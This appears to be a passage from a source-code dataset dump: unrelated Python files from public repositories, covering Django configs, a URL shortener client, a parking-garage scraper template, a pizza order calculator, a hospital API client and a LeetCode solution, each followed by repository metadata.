print("Found duplicate stop at %s for vehicle %s" % (stopCode, vehCode)) comparable_actual2.remove(vehCode) else: tmp.append(vehCode) comparable_expected = tmp if options.verbose: actual = [(v[0], v[1][1]) for v in comparable_actual] print("stop:", stopCode) print(" expected:", comparable_expected) print(" actual:", actual) for i, vehCode in enumerate(comparable_expected): j = comparable_actual2.index(vehCode) if i < j: print("At %s vehicle %s comes after %s (i=%s, j=%s)" % ( stopCode, vehCode, ','.join(map(str, comparable_actual2[i:j])), i, j )) elif j < i: print("At %s vehicle %s comes before %s (i=%s, j=%s)" % ( stopCode, vehCode, ','.join(map(str, comparable_actual2[j:i])), i, j )) if i != j: # swap to avoid duplicate out-of-order warnings tmp = comparable_actual2[i] comparable_actual2[i] = comparable_actual2[j] comparable_actual2[j] = tmp else: missing[stopCode] = vehicles print("Simulation missed %s stops at %s locations" % (sum(map(len, missing.values())), len(missing))) if __name__ == "__main__": main(get_options())
39.9375
108
0.582786
df39fdf12ff148cc0beb60caa1acb7ae05fea6ac
179
py
Python
aemter/apps.py
mribrgr/StuRa-Mitgliederdatenbank
87a261d66c279ff86056e315b05e6966b79df9fa
[ "MIT" ]
8
2019-11-26T13:34:46.000Z
2021-06-21T13:41:57.000Z
src/aemter/apps.py
Sumarbrander/Stura-Mitgliederdatenbank
691dbd33683b2c2d408efe7a3eb28e083ebcd62a
[ "MIT" ]
93
2019-12-16T09:29:10.000Z
2021-04-24T12:03:33.000Z
src/aemter/apps.py
Sumarbrander/Stura-Mitgliederdatenbank
691dbd33683b2c2d408efe7a3eb28e083ebcd62a
[ "MIT" ]
2
2020-12-03T12:43:19.000Z
2020-12-22T21:48:47.000Z
from django.apps import AppConfig class AemterConfig(AppConfig): name = 'aemter' verbose_name = "Funktionen" def ready(self): import aemter.signals.handlers
19.888889
38
0.703911
10c772285aaeb0d6677c7749b86ae04d825ae700
961
py
Python
django/eventlr/urls.py
cyberjacob/Eventlr
a1474ab73d50b08d4bd21ec83830105b2632ecfa
[ "MIT" ]
null
null
null
django/eventlr/urls.py
cyberjacob/Eventlr
a1474ab73d50b08d4bd21ec83830105b2632ecfa
[ "MIT" ]
null
null
null
django/eventlr/urls.py
cyberjacob/Eventlr
a1474ab73d50b08d4bd21ec83830105b2632ecfa
[ "MIT" ]
null
null
null
from django.conf.urls import patterns, include, url from django.views.generic.simple import direct_to_template # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', # Examples: url(r'^$', 'web.pages.index', name='home'), #url(r'^api/', include('api.urls')), # url(r'^eventlr/', include('eventlr.foo.urls')), # Uncomment the admin/doc line below to enable admin documentation: url(r'^admin/doc/', include('django.contrib.admindocs.urls')), # Uncomment the next line to enable the admin: url(r'^admin/', include(admin.site.urls)), url(r'^account/', include('registration.backends.default.urls')), url(r'^oauth2/', include('provider.oauth2.urls', namespace = 'oauth2')), url(r'^legal/terms$', direct_to_template, {'template': 'legal/terms.html'}), url(r'^legal/privacy$', direct_to_template, {'template': 'legal/privacy.html'}), )
36.961538
84
0.686785
10da973171bb37f5d0352fc2be41145f34d9fa45
711
py
Python
weibo/test/testNoneString.py
haiboz/weiboSpider
517cae2ef3e7bccd9e1d328a40965406707f5362
[ "Apache-2.0" ]
null
null
null
weibo/test/testNoneString.py
haiboz/weiboSpider
517cae2ef3e7bccd9e1d328a40965406707f5362
[ "Apache-2.0" ]
null
null
null
weibo/test/testNoneString.py
haiboz/weiboSpider
517cae2ef3e7bccd9e1d328a40965406707f5362
[ "Apache-2.0" ]
null
null
null
#coding:utf8 ''' Created on 2016年4月21日 @author: wb-zhaohaibo ''' import re import time tt1 = time.time() ss = "" if ss == "": print "tyee" else: print "ss" s1 = "dasddfghasd" aa = s1.find("asgg") print aa data = {} if data is None: print "None" else: print "not None " if len(data) != 0: print "not 0" else: print "0" nickName = "lemon柠檬-L~。。。".decode("utf8") patten = re.compile(ur'([\u4e00-\u9fa5\w_\-~]+)') s = patten.findall(nickName) print s[0] tt2 = time.time() tt = tt2 - tt1 print "耗时 %d" % tt count = 5000 print count % 3000 # list = [1,2,3] # if 4 in list: # print "true11" # else: # print "false00"
12.927273
50
0.537271
985466718ea19d727090d945721c5cf8efabcc11
946
py
Python
.circleci/cimodel/data/simple/util/docker_constants.py
vuanvin/pytorch
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
[ "Intel" ]
2
2020-03-13T06:57:49.000Z
2020-05-17T04:18:14.000Z
.circleci/cimodel/data/simple/util/docker_constants.py
vuanvin/pytorch
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
[ "Intel" ]
14
2021-10-14T06:58:50.000Z
2021-12-17T11:51:07.000Z
.circleci/cimodel/data/simple/util/docker_constants.py
vuanvin/pytorch
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
[ "Intel" ]
2
2019-07-23T14:37:31.000Z
2019-07-23T14:47:13.000Z
AWS_DOCKER_HOST = "308535385114.dkr.ecr.us-east-1.amazonaws.com" def gen_docker_image(container_type): return ( "/".join([AWS_DOCKER_HOST, "pytorch", container_type]), f"docker-{container_type}", ) def gen_docker_image_requires(image_name): return [f"docker-{image_name}"] DOCKER_IMAGE_BASIC, DOCKER_REQUIREMENT_BASE = gen_docker_image( "pytorch-linux-xenial-py3.7-gcc5.4" ) DOCKER_IMAGE_CUDA_10_2, DOCKER_REQUIREMENT_CUDA_10_2 = gen_docker_image( "pytorch-linux-xenial-cuda10.2-cudnn7-py3-gcc7" ) DOCKER_IMAGE_GCC7, DOCKER_REQUIREMENT_GCC7 = gen_docker_image( "pytorch-linux-xenial-py3.7-gcc7" ) def gen_mobile_docker(specifier): container_type = "pytorch-linux-xenial-py3-clang5-" + specifier return gen_docker_image(container_type) DOCKER_IMAGE_ASAN, DOCKER_REQUIREMENT_ASAN = gen_mobile_docker("asan") DOCKER_IMAGE_NDK, DOCKER_REQUIREMENT_NDK = gen_mobile_docker("android-ndk-r19c")
27.823529
80
0.769556
89f68980f41017691cda4f97e512738b4488d211
459
py
Python
doc/examples/issues/issue29_blocks_classes.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
88
2019-01-08T16:39:08.000Z
2022-02-06T14:19:23.000Z
doc/examples/issues/issue29_blocks_classes.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
13
2019-06-20T15:53:10.000Z
2021-02-09T11:03:29.000Z
tmp/analyses/examples/7_issue29_blocks_classes.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
1
2019-11-05T03:03:14.000Z
2019-11-05T03:03:14.000Z
""" See https://foss.heptapod.net/fluiddyn/transonic/issues/6 """ from transonic import boost, with_blocks, block def non_pythranizable(arg): """represent a function that can not be compiled by Pythran""" return arg @boost class MyClass: attr0: int @with_blocks def func(self, arg: int): a = non_pythranizable(arg) with block(a=float): tmp = a + arg + self.attr0 return non_pythranizable(tmp)
17
66
0.647059
c398da15ba7665d863d31a8d3826753bba2c5235
3,128
py
Python
modules/short_url_generator.py
NETMVAS/feecc-agent-geoscan
93fc5766a4a2f588aaa173779bb6bd0928682e58
[ "Apache-2.0" ]
1
2021-05-13T09:03:51.000Z
2021-05-13T09:03:51.000Z
modules/short_url_generator.py
arseniiarsenii/robonomics_qa_geoscan
93fc5766a4a2f588aaa173779bb6bd0928682e58
[ "Apache-2.0" ]
null
null
null
modules/short_url_generator.py
arseniiarsenii/robonomics_qa_geoscan
93fc5766a4a2f588aaa173779bb6bd0928682e58
[ "Apache-2.0" ]
1
2021-05-24T15:45:01.000Z
2021-05-24T15:45:01.000Z
import ast import logging import requests import typing as tp # set up logging logging.basicConfig( level=logging.INFO, filename="agent.log", format="%(asctime)s %(levelname)s: %(message)s" ) def generate_short_url(config: tp.Dict[str, tp.Dict[str, tp.Any]]) -> tp.Tuple[tp.Any, tp.Any]: """ :param config: dictionary containing all the configurations :type config: dict :return keyword: shorturl keyword. More on yourls.org. E.g. url.today/6b. 6b is a keyword :return link: full yourls url. E.g. url.today/6b create an url to redirecting service to encode it in the qr and print. Redirecting to some dummy link initially just to print the qr, later the redirect link is updated with a gateway link to the video """ try: url = "https://" + config["yourls"]["server"] + "/yourls-api.php" querystring = { "username": config["yourls"]["username"], "password": config["yourls"]["password"], "action": "shorturl", "format": "json", "url": config["ipfs"]["gateway_address"], } # api call to the yourls server. More on yourls.org payload = "" # payload. Server creates a short url and returns it as a response response = requests.request("GET", url, data=payload, params=querystring) # get the created url keyword. logging.debug(response.text) keyword = ast.literal_eval(response._content.decode("utf-8"))["url"]["keyword"] link = config["yourls"]["server"] + "/" + keyword # link of form url.today/6b return keyword, link except Exception as e: logging.error("Failed to create URL, replaced by url.today/55. Error: ", e) return "55", "url.today/55" # time to time creating url fails. To go on just set a dummy url and keyword def update_short_url(keyword: str, ipfs_hash: str, config: tp.Dict[str, tp.Dict[str, tp.Any]]) -> None: """ :param keyword: shorturl keyword. More on yourls.org. E.g. url.today/6b. 6b is a keyword :type keyword: str :param ipfs_hash: IPFS hash of a recorded video :type ipfs_hash: str :param config: dictionary containing all the configurations :type config: dict Update redirecting service so that now the short url points to the gateway to a video in ipfs """ try: url = "https://" + config["yourls"]["server"] + "/yourls-api.php" querystring = { "username": config["yourls"]["username"], "password": config["yourls"]["password"], "action": "update", "format": "json", "url": config["ipfs"]["gateway_address"] + ipfs_hash, "shorturl": keyword, } payload = "" # another api call with no payload just to update the link. More on yourls.org. Call created with # insomnia response = requests.request("GET", url, data=payload, params=querystring) # no need to read the response. Just wait till the process finishes logging.debug(response) except Exception as e: logging.warning("Failed to update URL: ", e)
42.27027
119
0.632673
c3d578834a8ee00ecd0800a3c4c8bc938b73638b
1,695
py
Python
sketches/aquarium/fish.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
4
2018-06-03T02:11:46.000Z
2021-08-18T19:55:15.000Z
sketches/aquarium/fish.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
null
null
null
sketches/aquarium/fish.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
3
2019-12-23T19:12:51.000Z
2021-04-30T14:00:31.000Z
from random import randint class Fish(): def __init__(self): no = str(randint(1, 7)) self.imr0 = loadImage("fish" + no + "_r0.png") self.iml0 = loadImage("fish" + no + "_l0.png") self.imr1 = loadImage("fish" + no + "_r1.png") self.iml1 = loadImage("fish" + no + "_l1.png") self.reset() self.w = self.h = 32 self.pos = PVector(randint(30, width - 30), randint(10, height - 120)) self.count = 0 self.switch = 5 def update(self): self.pos.x += self.speed self.count -= 1 if self.count <= 0: self.count = self.switch if self.im == self.imr0: self.im = self.imr1 elif self.im == self.imr1: self.im = self.imr0 elif self.im == self.iml0: self.im = self.iml1 elif self.im == self.iml1: self.im = self.iml0 if self.pos.x > width + 2*self.w: self.pos.x = randint(width + self.w, width + 2*self.w) self.pos.y = randint(10, height - 120) self.speed = -randint(1, 3) self.im = self.iml0 elif self.pos.x < -2*self.w: self.pos.x = randint(-2*self.w, -self.w) self.pos.y = randint(10, height - 120) self.speed = randint(1, 3) self.im = self.imr0 def show(self): image(self.im, self.pos.x, self.pos.y) def reset(self): self.im = self.imr0 self.speed = randint(-3, 3) if self.speed < 0: self.im = self.iml1 elif self.speed == 0: self.speed = randint(1, 3)
33.235294
78
0.484366
1454a8fd107a8bd82cabb097a6d126b7fac51b52
1,607
py
Python
labeldcm/module/config.py
hyh520/label-dcm
07f8257dcc52b827fcb6d1dec311b532c3ae8925
[ "MIT" ]
1
2021-12-20T11:06:42.000Z
2021-12-20T11:06:42.000Z
labeldcm/module/config.py
hyh520/label-dcm
07f8257dcc52b827fcb6d1dec311b532c3ae8925
[ "MIT" ]
null
null
null
labeldcm/module/config.py
hyh520/label-dcm
07f8257dcc52b827fcb6d1dec311b532c3ae8925
[ "MIT" ]
null
null
null
class Config(object): def __init__(self): # Font Size # 1. Index, Distance, Degree self.fontSize = 10 # Font Family # 1. Index, Distance, Degree self.fontFamily = 'Consolas' # Shifting # 1. Index self.indexShifting = 3 # 2. Distance self.distanceShifting = 8 # 3. Degree self.degreeShiftingBase = 15 self.degreeShiftingMore = 30 # Width # 1. Point self.pointWidth = 7 # 2. Line, Circle self.lineWidth = 3 # 3. Angle self.angleWidth = 2 # Color # 1. Default self.defaultColor = 'red' # 2. List self.colorList = [ 'red', 'green', 'blue', 'cyan', 'yellow', 'black', 'white', 'gray' ] # Ratio # 1. Angle # For ∠ABC, the radius of the degree is # r = min(AB, AC) * ratioToRadius self.ratioToRadius = 0.2 # Math Constant self.eps = 1e-5 self.base = 2 ** 7 # Debug self.debug = True # 操作列表 self.defaultAction = '无操作' self.actionList = ['无操作', '点', '线', '角度', '圆', '中点', '直角', '移动点', '删除点'] def __setattr__(self, key, value): if key in self.__dict__: raise self.ConstException self.__dict__[key] = value def __getattr__(self, item): if item in self.__dict__: return self.item raise self.ScopeException config = Config()
22.633803
80
0.476042
b4bf1339ca61d039037c787506fd86004616c463
5,316
py
Python
pocketthrone/managers/mapmanager.py
herrschr/pocket-throne
819ebae250f45b0a4b15a8320e2836c0b5113528
[ "BSD-2-Clause" ]
4
2016-06-05T16:48:04.000Z
2020-03-23T20:06:06.000Z
pocketthrone/managers/mapmanager.py
herrschr/pocket-throne
819ebae250f45b0a4b15a8320e2836c0b5113528
[ "BSD-2-Clause" ]
null
null
null
pocketthrone/managers/mapmanager.py
herrschr/pocket-throne
819ebae250f45b0a4b15a8320e2836c0b5113528
[ "BSD-2-Clause" ]
null
null
null
__all__ = ('MapManager') from pocketthrone.tools.maploader import MapLoader from pocketthrone.managers.pipe import L from pocketthrone.managers.filemanager import FileManager from pocketthrone.managers.eventmanager import EventManager from pocketthrone.entities.event import * from pocketthrone.entities.enum import TileLandscape, TileBiome, Compass class MapManager: _tag = "[MapManager] " initialized = False has_selected_tile = False selected_tile = None tilemap = None enable_postloading = True enable_land_elevation = True enable_terrain_bridges = False # actual scrolling of the map viewport = [] tiles_in_viewport = {} tiles_in_viewport_incomplete = False last_scrolling = {"x": None, "y": None} scrolling = {"x": 0, "y": 0} # number of tiles that are fitting in the map size grid_width = 0 grid_height = 0 def __init__(self, map_name=None): # register in EventManager EventManager.register(self) # set self._map; abort when none if map_name == None: print(self._tag + "ABORT map name to load = None") else: self.load_map(map_name) self.postload_map() def initialize(self): '''flag as initialized''' self.initialized = True def abort_when_uninitialized(self): '''abort method when uninitialized''' print(self._tag + "ABORT. ") def load_map(self, map_name): '''loads a map by its name''' if self.initialized: return # get selected mod & map selected_mod = L.ModManager.get_selected_mod() tilemap = MapLoader(map_name=map_name).get_tilemap() # set map in Locator and fire MapLoadedEvent if tilemap: print(self._tag + "SUCCESS MAP " + map_name + " loaded. Is now initialized.") # TileMap postloading self.tilemap = tilemap L.TileMap = tilemap # flag WidgetManager as initialized return TileMap self.initialized = True EventManager.fire(MapLoadedEvent(tilemap)) def postload_map(self): '''tweak the TileMap after loading it with MapLoader (not neccessary)''' # set terrain bridges in map self.tilemap._initialize_neighbors() continent_lds = ["G", "F", "M"] bridge_directions = [Compass.DIRECTION_NORTH, Compass.DIRECTION_SOUTH] # override image paths on bridge tiles if self.enable_postloading: elev_counter = 0 bridge_counter = 0 print(self._tag + "POSTLOADING is on") for tile in self.tilemap.tiles: # LAND ELEVATION if self.enable_land_elevation: water_tiles = ["W", "=", "H"] counter = 0 if tile.get_landscape() == TileLandscape.LANDSCAPE_WATER: print(self._tag + "self " + tile.get_landscape()) neighbor_north = tile.get_neighbor(Compass.DIRECTION_NORTH) if neighbor_north and neighbor_north not in water_tiles: print(self._tag + tile.get_neighbor(Compass.DIRECTION_NORTH)) tile.image_override = "tile_w_north_g" elev_counter += 1 else: print("water on water") # TERRAIN BRIDGES if self.enable_terrain_bridges: if tile.get_landscape() == TileLandscape.LANDSCAPE_SNOW: if tile.get_neighbor(Compass.DIRECTION_NORTH) != TileLandscape.LANDSCAPE_SNOW: tile.image_override = "tile_s_north_g" elif tile.get_neighbor(Compass.DIRECTION_SOUTH) != TileLandscape.LANDSCAPE_SNOW: tile.image_override = "tile_s_south_g" print(self._tag + str(elev_counter) + " water elevation tiles") def get_tilemap(self): '''returns the TileMap instance of this game''' return self.tilemap def get_scrolling(self): '''returns the actual scrolling offset''' return self.scrolling def scroll(self, (rel_x, rel_y)): '''scrolls by relative position''' mapwidget = L.WidgetManager.get_widget("mapwidget") mapwidget.scroll((rel_x, rel_y)) def scroll_at(self, (grid_x, grid_y)): '''scrolls at given grid position''' mapwidget = L.WidgetManager.get_widget("mapwidget") mapwidget.scroll_at((grid_x, grid_y)) def select_tile_at(self, (pos_x, pos_y)): '''set tile at given position tuple as selected''' self.selected_tile = self.get_tile_at((pos_x, pos_y)) # return None when tile isn't in map if self.selected_tile == None: self.has_selected_tile = False return None # set has_selected_tile flag self.has_selected_tile = True # fire TileUnselectedEvent EventManager.fire(TileUnselectedEvent()) # fire TileSelectedEvent EventManager.fire(TileSelectedEvent(self.selected_tile, (pos_x, pos_y))) # return selected tile return self.selected_tile def get_tile_at(self, (pos_x, pos_y)): '''returns tile at given position tuple''' return self.tilemap.get_tile_at((pos_x, pos_y)) def get_selected_tile(self): '''returns selected tile''' return self.selected_tile def has_selected_tile(self): '''returns whether a tile is selected''' if self.selected_tile == None: return False return True def unselect_tile(self): '''unselects selected tile''' self.has_selected_tile = False self.selected = None EventManager.fire(TileUnselectedEvent()) def on_event(self, event): # map was scrolled after user input if isinstance(event, MapScrolledEvent): # update previous scrolling cache prev_scrolling = {"x": int(event.prev_x), "y": int(event.prev_y)} new_scrolling = {"x": int(event.new_x), "y": int(event.new_y)} # update scrolling cache self.prev_scrolling = prev_scrolling self.scrolling = new_scrolling
31.832335
86
0.727803
d332a2f8234c0d7acb92e4b0a6de624d5d3cdcb7
681
py
Python
runners/great_expectations/expectations.py
omio-labs/richterin
c4165fe4910a556f5bba3c7224fed6d35c3fea57
[ "MIT" ]
null
null
null
runners/great_expectations/expectations.py
omio-labs/richterin
c4165fe4910a556f5bba3c7224fed6d35c3fea57
[ "MIT" ]
null
null
null
runners/great_expectations/expectations.py
omio-labs/richterin
c4165fe4910a556f5bba3c7224fed6d35c3fea57
[ "MIT" ]
null
null
null
from enum import Enum from functools import partial from typing import Dict, Any from great_expectations.dataset import SqlAlchemyDataset def not_null(dataset: SqlAlchemyDataset, options: Dict[str, Any]): return dataset.expect_column_values_to_not_be_null(**options) def is_null(dataset: SqlAlchemyDataset, options: Dict[str, Any]): return dataset.expect_column_values_to_be_null(**options) def values_between(dataset: SqlAlchemyDataset, options: Dict[str, Any]): return dataset.expect_column_values_to_be_between(**options) class ExpectationType(Enum): NOT_NULL = partial(not_null) NULL = partial(is_null) VALUES_BETWEEN = partial(values_between)
28.375
72
0.792952
d35ac025aec40d554b97a04656ddcfe76d32578c
3,379
py
Python
parkhaeuser/city_template.py
socialdistancingdashboard/virushack
6ef69d26c5719d0bf257f4594ed2488dd73cdc40
[ "Apache-2.0" ]
29
2020-03-21T00:47:51.000Z
2021-07-17T15:50:33.000Z
parkhaeuser/city_template.py
socialdistancingdashboard/virushack
6ef69d26c5719d0bf257f4594ed2488dd73cdc40
[ "Apache-2.0" ]
7
2020-03-21T14:04:26.000Z
2022-03-02T08:05:40.000Z
parkhaeuser/city_template.py
socialdistancingdashboard/virushack
6ef69d26c5719d0bf257f4594ed2488dd73cdc40
[ "Apache-2.0" ]
13
2020-03-21T01:08:08.000Z
2020-04-08T17:21:11.000Z
# -*- coding: utf-8 -*- """ Created on Tue Mar 31 11:33:53 2020 @author: Peter """ import time from bs4 import BeautifulSoup from selenium import webdriver """Template für das Scrapen der Parkhausauslastung eines Landkreises von einer Website. An den durch Kommentare gekennzeichneten Stellen im Code müssen die CSS-Selektoren für Name des Parkhauses usw. eingefügt werden. Eventuell sind noch mehr Anpassungen nötig. """ landkreis = '' url = '' sek = 1 def scrape(): """ Ermittelt durch HTLM-Parsing die Auslastung der einzelnen Parkhäuser und berechnet anschließend die Auslastung für die ganze Stadt. Returns ------- data : dict Dictionary der Form: {'Landkreis': 'Landkreis', 'Gesamt': 3655, 'Frei': 3194, 'Auslastung': 0.12612859097127224, 'Details': [{'Location': 'location', 'Gesamt': 219, 'Frei': 208, 'Auslastung': 0.0502283105022831}, ...] } """ print(f'Scrape Auslastung der Parkhäuser für {landkreis}') try: driver = webdriver.Chrome() driver.get(url) """Zeit bis alle relevanten Elemente geladen sind, muss je nach Website geändert werden. Schöner wäre eine Lösung bei der explizit gewartet wird, bis die Elemente geladen wurden. """ time.sleep(sek) response = BeautifulSoup(driver.page_source, 'html.parser') driver.quit() #Parsen der Parkhausliste p_list = response.select('')[0] except Exception as err: print(err) print(f'Fehler beim Laden der Daten für {landkreis}') details = [] total = 0 empty = 0 for p in p_list: try: #Parsen des Parkhausnamens location = p.select('')[0].getText() except Exception: continue try: #Parsen der freien Plätze/Gesamtplätze e = int(p.select('')[0].getText()) t = int(p.select('')[0].getText()) """Check ob die Anzahl der Plätze valide ist (Gesamtplätze>=freie Plätze, Gesamtplätze > 0). Der Fall freie Plätze == 0 ist auch nicht valide, da das meinen Beobachtungen nach oft auf ein geschlossenes Parkhaus hinweist. """ if e > t or t <= 0 or not e: continue o = (t - e) / t total += t empty += e data = {'Location': location, 'Gesamt': t, 'Frei': e, 'Auslastung': o} details.append(data) except Exception as err: print(err) print(f'Daten für {landkreis}: {location} nicht gefunden') if total: occupation = (total - empty) / total data = {'Landkreis': landkreis, 'Gesamt': total, 'Frei': empty, 'Auslastung': occupation, 'Details': details} print(f'Scrapen der Auslastung der Parkhäuser für {landkreis} erfolgreich') return data else: print(f'Auslastung für {landkreis} kann nicht berechnet werden') return None
32.490385
106
0.534478
9f495cb328605ae2af8b6c7294fd0eb84e099243
1,342
py
Python
PizzaTime/main.py
MolarFox/PizzaTime
d2a6d134164c1f633a25015380cb912b50da5960
[ "MIT" ]
null
null
null
PizzaTime/main.py
MolarFox/PizzaTime
d2a6d134164c1f633a25015380cb912b50da5960
[ "MIT" ]
null
null
null
PizzaTime/main.py
MolarFox/PizzaTime
d2a6d134164c1f633a25015380cb912b50da5960
[ "MIT" ]
null
null
null
import json import math # Store input numbers total_lexis = int(input('How many lexis: ')) # Display the sum print(f"Wait while we do some quik maffs for {total_lexis} lexis") minimum_lexis = 15 extra_lexis = total_lexis - minimum_lexis bonus_garlic = math.ceil(extra_lexis/5) bonus_wildcards = math.floor(extra_lexis/8) bonus_pizza = math.ceil(extra_lexis*0.75) - bonus_wildcards next_pizza_index = 0 staples = [ "cheese", "meat_lovers", "margherita", "hawaiian", "regular_godfather", "peri_peri", "pepperoni" ] base_order = { "pizzas": { "meat_lovers": 1, "hawaiian": 1, "cheese": 2, "margherita": 1, "double_bacon_cheeseburger": 1, "vegan_beef_no_olive": 1, "regular_godfather": 1, "peri_peri": 1, "pepperoni": 1, "wild_cards": 1, "vegan_wild_cards": 1, }, "sides": { "garlic_breads": 5 } } staple_len = len(staples) - 1 base_order["pizzas"]["wild_cards"] += bonus_wildcards base_order["sides"]["garlic_breads"] += bonus_garlic while bonus_pizza > 0: base_order["pizzas"][staples[next_pizza_index]] += 1 if next_pizza_index == staple_len: next_pizza_index = 0 else: next_pizza_index += 1 bonus_pizza -= 1 print(json.dumps(base_order, indent=4, sort_keys=True))
23.54386
66
0.640089
9f4e9fb247e5fc4cf3a6bf2eb38c2f887605e8a8
588
py
Python
contrib/dns-seeder/test.py
dmitriy79/IDC-CORE
211f7a7470cd341aa322166619bfca57d75260b8
[ "MIT" ]
4
2019-07-07T13:28:08.000Z
2020-06-04T18:02:27.000Z
contrib/dns-seeder/test.py
dmitriy79/IDC-CORE
211f7a7470cd341aa322166619bfca57d75260b8
[ "MIT" ]
null
null
null
contrib/dns-seeder/test.py
dmitriy79/IDC-CORE
211f7a7470cd341aa322166619bfca57d75260b8
[ "MIT" ]
2
2020-03-07T02:25:32.000Z
2020-03-18T22:31:40.000Z
import socket seeders = [ 'dseed1.id-chain.org', 'dseed2.id-chain.org', 'dseed3.id-chain.org', 'dseed4.id-chain.org', 'dseed5.id-chain.org', 'dseed6.id-chain.org' ] for seeder in seeders: try: ais = socket.getaddrinfo(seeder, 0) except socket.gaierror: ais = [] # Prevent duplicates, need to update to check # for ports, can have multiple nodes on 1 ip. addrs = [] for a in ais: addr = a[4][0] if addrs.count(addr) == 0: addrs.append(addr) print(seeder + ' = ' + str(len(addrs)))
21.777778
49
0.561224
4cac1262231b22f73aa9690e0c55844686fa3281
347
py
Python
platform/mcu/haas1000/prebuild/data/python-apps/driver/spi/main.py
NEXTLEO/AliOS-Things
117ca103144a7bf6a394455bcc59698b7e1dd79d
[ "Apache-2.0" ]
4,538
2017-10-20T05:19:03.000Z
2022-03-30T02:29:30.000Z
platform/mcu/haas1000/prebuild/data/python-apps/driver/spi/main.py
NEXTLEO/AliOS-Things
117ca103144a7bf6a394455bcc59698b7e1dd79d
[ "Apache-2.0" ]
1,088
2017-10-21T07:57:22.000Z
2022-03-31T08:15:49.000Z
components/py_engine/tests/haas/HaaSEdu/python-apps/driver/spi/main.py
willianchanlovegithub/AliOS-Things
637c0802cab667b872d3b97a121e18c66f256eab
[ "Apache-2.0" ]
1,860
2017-10-20T05:22:35.000Z
2022-03-27T10:54:14.000Z
from driver import SPI print("-------------------spi test--------------------") spi = SPI() spi.open("SPI0") readBuf = bytearray(3) writeBuf = bytearray([0x9f]) print(writeBuf) print(readBuf) value = spi.sendRecv(writeBuf, readBuf) print(value) print(writeBuf) print(readBuf) spi.close() print("-------------------spi test--------------------")
20.411765
56
0.567723
4cf5afdead66cdb72223f52344a4682c5cd3fbb5
3,176
py
Python
cloud/aws/stage3/jobs/dev/session-loader/jhapi_io.py
cloud-cds/cds-stack
d68a1654d4f604369a071f784cdb5c42fc855d6e
[ "Apache-2.0" ]
6
2018-06-27T00:09:55.000Z
2019-03-07T14:06:53.000Z
cloud/aws/stage3/jobs/dev/session-loader/jhapi_io.py
cloud-cds/cds-stack
d68a1654d4f604369a071f784cdb5c42fc855d6e
[ "Apache-2.0" ]
3
2021-03-31T18:37:46.000Z
2021-06-01T21:49:41.000Z
cloud/aws/stage3/jobs/dev/session-loader/jhapi_io.py
cloud-cds/cds-stack
d68a1654d4f604369a071f784cdb5c42fc855d6e
[ "Apache-2.0" ]
3
2020-01-24T16:40:49.000Z
2021-09-30T02:28:55.000Z
import grequests import json import datetime as dt import logging import pytz SERVERS = { 'test': 'https://api-test.jh.edu/internal/v2/clinical', 'stage': 'https://api-stage.jh.edu/internal/v2/clinical', 'prod': 'https://api.jh.edu/internal/v2/clinical', # POST-only internal servers 'internal-test': 'https://trews-dev.jh.opsdx.io/clinical', 'internal-stage': 'https://trews-stage.jh.opsdx.io/clinical', 'internal-prod': 'https://trews-prod.jh.opsdx.io/clinical', 'localhost': 'http://localhost:8000/clinical', } class JHAPI: def __init__(self, server, client_id, client_secret): if server not in SERVERS: raise ValueError('Invalid server name provided. Must be one of: {}.' .format(', '.join(SERVERS.keys()))) else: self.server = SERVERS[server] self.headers = { 'client_id': client_id, 'client_secret': client_secret, 'User-Agent': '' } def load_flowsheet(self, patients, flowsheet_id, load_tz='US/Eastern'): # NOTE: need to turn timestamp to US/Eastern for Epic if patients is None or len(patients) == 0: logging.warn('No patients passed in') return None url = self.server + '/patients/addflowsheetvalue' t_utc = dt.datetime.utcnow().replace(tzinfo=pytz.utc) now = str(t_utc.astimezone(pytz.timezone(load_tz))) payloads = [{ 'PatientID': pat['pat_id'], 'PatientIDType': 'EMRN', 'ContactID': pat['visit_id'], 'ContactIDType': 'CSN', 'UserID': 'WSEPSIS', 'FlowsheetID': flowsheet_id, 'Value': pat['value'], 'InstantValueTaken': str(pat['tsp'].astimezone(pytz.timezone((load_tz)))) if 'tsp' in pat else now, 'FlowsheetTemplateID': '304700006', } for pat in patients] for payload in payloads: logging.info('load_flowsheet %s %s %s %s %s' % (flowsheet_id, payload['InstantValueTaken'], payload['PatientID'], payload['ContactID'], payload['Value'])) reqs = [grequests.post(url, json=payload, timeout=10.0, headers=self.headers) for payload in payloads] responses = grequests.map(reqs) return responses def extract_orders(self, pat_id, csn, hospital): lab_url = '{}/facilities/hospital/{}/orders/activeprocedures'.format(self.server, hospital) lab_params = {'csn': csn, 'ordermode': 2} med_url = '{}/patients/medications'.format(self.server) med_params = {'id': pat_id, 'searchtype': 'IP', 'dayslookback': '3'} reqs = [grequests.get(lab_url, params=lab_params, timeout=10, headers=self.headers), grequests.get(med_url, params=med_params, timeout=10, headers=self.headers)] responses = grequests.map(reqs) logging.info("Got responses: {}".format(responses)) lab_orders = responses[0].json() if responses[0] else [] med_orders = responses[1].json() if responses[1] else {} return lab_orders, med_orders
44.732394
166
0.600441
392215c0171723645da1b1a478d791ca51b97442
418
py
Python
longest-palindrome/longest-palindrome.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
2
2021-12-05T14:29:06.000Z
2022-01-01T05:46:13.000Z
longest-palindrome/longest-palindrome.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
longest-palindrome/longest-palindrome.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
class Solution: def longestPalindrome(self, s: str) -> int: str_dict={} for each in s: if each not in str_dict: str_dict[each]=0 str_dict[each]+=1 result=0 odd=0 for k, v in str_dict.items(): if v%2==0: result+=v else: result+=v-1 odd=1 return result+odd
26.125
47
